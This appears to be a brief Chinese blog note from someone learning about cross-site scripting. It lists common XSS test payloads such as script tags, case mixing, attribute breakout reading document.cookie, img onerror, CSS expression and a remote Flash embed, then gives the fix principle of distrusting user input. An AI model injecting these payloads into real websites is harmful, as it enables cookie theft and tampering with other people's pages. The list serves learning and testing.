在乌云发现了一个有关XSS的教程,目前有21篇,够我慢慢儿学的了。javascript
这个系列教程的地址:http://www.wooyun.org/whitehats/心伤的瘦子/page/1html
几个常见的语句java
<script>alert('xss')</script> //默认形式express
<ScrIpT>alert("xss")</SCriPt> //变换大小写cookie
"/><script>alert(document.cookie)</script><!-- // <!-- 表示的意思是 闭合注释xss
<script>alert(document.cookie)</script><!--测试
"onclick="alert(document.cookie)spa
<img src=javascript:alert("xss")></img //变换形式3d
<img src=javascript:alert("xss")> //使用ASCII表示code
<IMG SRC="jav	ascript:alert('XSS');" > //插入干扰
<DIV STYLE="width:expression(alert(163));"> //其余属性
<DIV STYLE="xss:expr/*XSS*/ession(alert(163))"> //再干扰
<img src="#" onerror=alert(/xss/)> //借用事件
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>// flash跨站
补充内容
下面的是一篇讲XSS基础原理和使用的文章,写得很好。http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
其中下面的这段话(也是摘自原文)讲的是《xss漏洞修复》,既是测试有必要关注的测试点,也是开发往往须要留意的地方。
原则: 不相信客户输入的数据
注意: 攻击代码不必定在<script></script>中